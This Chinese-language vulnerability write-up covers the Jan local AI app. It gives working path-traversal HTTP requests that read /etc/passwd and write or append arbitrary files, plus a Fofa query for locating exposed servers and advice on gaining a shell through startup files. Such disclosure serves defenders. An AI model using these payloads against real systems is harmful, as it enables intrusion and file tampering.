自从ChatGPT横空出世以来,我一直想找一个可以自己训练的AI大模型,然而在使用Jan的过程中,数据包中传递的参数引起了我的兴趣,简单尝试后发现了任意文件读取和任意文件上传漏洞。
简介
Jan是ChatGPT的开源替代品,它在您的计算机上100%离线运行。多引擎支持(llama.cpp、TensorRT LLM)。
项目地址
- 官方网站
- GitHub
漏洞描述
Jan的API接口readFileSync
未过滤参数,导致出现任意文件读取/下载漏洞。writeFileSync
和appendFileSync
未过滤参数,导致出现任意文件上载漏洞。
影响版本
- 0.4.12 Latest
搜索语法
Fofa
- icon_hash=“-165268926”
漏洞验证和复现
任意文件读取/下载
/v1/app/existsSync
可以通过路径穿越判断文件是否存在:
/v1/app/readFileSync
可以读取/下载任意文件:
也包括root权限的文件:
Poc
POST /v1/app/readFileSync HTTP/1.1
Host: {{Host}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: http://<IP>:<Port>
contentType: application/json
Content-Type: text/plain;charset=UTF-8
Content-Length: 48
Origin: http://<IP>:<Port>
Connection: close
["file:/../../../../../../etc/passwd","utf-8"]
任意文件上传
创建任意文件并写入内容:
查看文件内容:
追加写入已存在的文件:
此外,您还可以利用此漏洞将计划任务和启动项写入getshell,如:/etc/init.d/
目录,/etc/rc.d/
目录,/etc/rc.local
,~/.bash_profile
,~/.bash_login
和~/.profile
文件来getshell。
Poc
使用writeFileSync接口
POST /v1/app/writeFileSync HTTP/1.1
Host: {{Host}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: http://<IP>:<Port>
contentType: application/json
Content-Type: text/plain;charset=UTF-8
Content-Length: 35
Origin: http://<IP>:<Port>
Connection: close
["/../../../../../tmp/a.txt","abc"]
使用appendFileSync
POST /v1/app/appendFileSync HTTP/1.1
Host: {{Host}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: http://<IP>:<Port>
contentType: application/json
Content-Type: text/plain;charset=UTF-8
Content-Length: 48
Origin: http://<IP>:<Port>
Connection: close
["file:/../../../../../../tmp/a.txt","bbb ccc"]
由于这里是使用nodejs造成的风险,我也尝试上传nodejs模块结合调用getshell,但是没成功。
原文
Jan AFR/AFD vulnerability
Jan Arbitrary File Upload vulnerability